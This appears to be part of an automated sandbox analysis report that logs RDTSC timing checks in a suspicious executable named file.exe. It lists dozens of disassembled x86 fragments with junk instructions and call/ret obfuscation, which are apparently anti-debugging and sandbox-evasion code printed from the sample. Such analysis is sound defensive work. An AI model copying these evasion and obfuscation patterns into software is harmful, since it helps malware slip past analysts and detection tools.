Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EA2B second address: 116EA88 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBF08D33348h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007FBF08D33353h 0x00000012 mov di, F3D7h 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 cmc 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007FBF08D33348h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 xchg eax, ebx 0x00000037 push ecx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d popad 0x0000003e pop ecx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E19B second address: 116E1A9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F48C second address: 116F510 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FBF08D33351h 0x0000000d nop 0x0000000e mov edi, eax 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1F21h], eax 0x00000018 sub dword ptr [ebp+122D1C1Ch], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FBF08D33348h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a xchg eax, ebx 0x0000003b pushad 0x0000003c je 00007FBF08D33355h 0x00000042 jmp 00007FBF08D3334Fh 0x00000047 pushad 0x00000048 push edx 0x00000049 pop edx 0x0000004a jmp 00007FBF08D3334Fh 0x0000004f popad 0x00000050 popad 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 pushad 0x00000055 popad 0x00000056 jng 00007FBF08D33346h 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 pop esi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F260 second address: 116F266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F266 second address: 116F26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170026 second address: 117002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117002A second address: 1170090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jne 00007FBF08D3335Eh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FBF08D33348h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov si, di 0x00000030 xchg eax, ebx 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FBF08D33354h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FDCE second address: 116FDD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170AC6 second address: 1170ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170ACA second address: 1170AD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170AD0 second address: 1170AD5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170887 second address: 117088C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171574 second address: 1171579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171579 second address: 1171583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBF09325AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171CF0 second address: 1171D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171D01 second address: 1171D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171D05 second address: 1171D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007FBF08D33352h 0x0000000f jo 00007FBF08D3334Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117568F second address: 1175693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175693 second address: 1175699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175D76 second address: 1175D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF09325ABAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175D85 second address: 1175D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FBF08D33348h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11727C3 second address: 11727CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF09325AB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176CAD second address: 1176CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176CB1 second address: 1176CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178E2A second address: 1178E4A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33352h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jc 00007FBF08D3334Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11790A1 second address: 11790A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11790A5 second address: 11790B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AF96 second address: 117AFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007FBF09325AC4h 0x00000010 jmp 00007FBF09325ABCh 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 add dword ptr [ebp+1244FB0Eh], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FBF09325AB8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a jmp 00007FBF09325ABCh 0x0000003f xchg eax, esi 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AFFE second address: 117B002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE39 second address: 117BE73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FBF09325ACFh 0x0000000c jmp 00007FBF09325AC9h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jng 00007FBF09325AB6h 0x0000001b jno 00007FBF09325AB6h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE73 second address: 117BE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE77 second address: 117BE7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CDFF second address: 117CE60 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33348h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d stc 0x0000000e xor ebx, 7376B567h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FBF08D33348h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push esi 0x00000031 sub edi, dword ptr [ebp+122D2BF9h] 0x00000037 pop edi 0x00000038 push 00000000h 0x0000003a or edi, dword ptr [ebp+122D29B1h] 0x00000040 xchg eax, esi 0x00000041 jmp 00007FBF08D3334Dh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jnl 00007FBF08D3334Ch 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C01A second address: 117C024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBF09325AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4A0 second address: 117F4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4A4 second address: 117F4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180431 second address: 1180435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180435 second address: 118043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181415 second address: 1181419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181419 second address: 1181429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118243A second address: 1182440 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11824E7 second address: 11824F1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBF09325ABCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181595 second address: 1181599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184479 second address: 118447D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182694 second address: 118271A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FBF08D33348h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007FBF08D33348h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 sub dword ptr [ebp+122D223Fh], esi 0x0000004c mov dword ptr fs:[00000000h], esp 0x00000053 mov dword ptr [ebp+122D3148h], ebx 0x00000059 mov eax, dword ptr [ebp+122D020Dh] 0x0000005f mov edi, dword ptr [ebp+122D2B45h] 0x00000065 push FFFFFFFFh 0x00000067 mov dword ptr [ebp+124505F8h], edi 0x0000006d nop 0x0000006e push ecx 0x0000006f jnp 00007FBF08D3334Ch 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118447D second address: 11844E6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007FBF09325AC4h 0x00000012 nop 0x00000013 mov di, DEB7h 0x00000017 or bx, 6E31h 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+122D2A2Dh] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007FBF09325AB8h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 jmp 00007FBF09325AC2h 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a pop eax 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11844E6 second address: 11844F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11853D5 second address: 11853D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11853D9 second address: 118543D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007FBF08D33346h 0x0000000f jng 00007FBF08D33346h 0x00000015 popad 0x00000016 pop eax 0x00000017 nop 0x00000018 pushad 0x00000019 pushad 0x0000001a mov edx, dword ptr [ebp+122D2B59h] 0x00000020 add cx, 9516h 0x00000025 popad 0x00000026 or esi, dword ptr [ebp+122D2BD9h] 0x0000002c popad 0x0000002d add ebx, 7B7FEC36h 0x00000033 push 00000000h 0x00000035 call 00007FBF08D3334Fh 0x0000003a movzx edi, dx 0x0000003d pop ebx 0x0000003e push 00000000h 0x00000040 mov ebx, dword ptr [ebp+122D28B1h] 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push edi 0x0000004b pop edi 0x0000004c jmp 00007FBF08D3334Dh 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11867B4 second address: 11867B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11867B9 second address: 1186845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cld 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov edi, dword ptr [ebp+122D2985h] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FBF08D33348h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 pushad 0x0000003a sub dword ptr [ebp+122D1CD6h], eax 0x00000040 jg 00007FBF08D3334Ch 0x00000046 add eax, dword ptr [ebp+122D2576h] 0x0000004c popad 0x0000004d mov eax, dword ptr [ebp+122D0B6Dh] 0x00000053 movzx edi, si 0x00000056 push FFFFFFFFh 0x00000058 mov dword ptr [ebp+122D25BFh], ecx 0x0000005e nop 0x0000005f pushad 0x00000060 jmp 00007FBF08D33354h 0x00000065 jng 00007FBF08D3334Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11904EE second address: 1190505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007FBF09325AB6h 0x0000000e popad 0x0000000f jp 00007FBF09325ABCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FF02 second address: 118FF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190047 second address: 119007A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBF09325AC7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FBF09325AC1h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F05 second address: 1194F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199F6E second address: 1199F7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199F7A second address: 1199F8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A516 second address: 119A52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325ABAh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FBF09325AB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A52D second address: 119A531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A8FF second address: 119A908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A908 second address: 119A90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A90C second address: 119A924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push esi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0D7C second address: 11A0D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0D92 second address: 11A0D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A64F7 second address: 11A64FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5284 second address: 11A5296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 js 00007FBF09325AB6h 0x0000000b jp 00007FBF09325AB6h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A61F5 second address: 11A61F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD047 second address: 11AD04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9B2 second address: 11AB9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9B8 second address: 11AB9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9BC second address: 11ABA14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBF08D33358h 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007FBF08D33346h 0x00000017 pop esi 0x00000018 jmp 00007FBF08D3334Ah 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jng 00007FBF08D33346h 0x00000027 jmp 00007FBF08D33351h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABDF7 second address: 11ABE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FBF09325ABBh 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE0A second address: 11ABE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE12 second address: 11ABE35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBF09325AB6h 0x0000000a jmp 00007FBF09325AC9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABF8C second address: 11ABF97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FBF08D33346h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABF97 second address: 11ABF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3C2 second address: 11AC3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33356h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3DC second address: 11AC3E6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF09325AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC5C3 second address: 11AC5D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC5D5 second address: 11AC5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC5DB second address: 11AC5E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
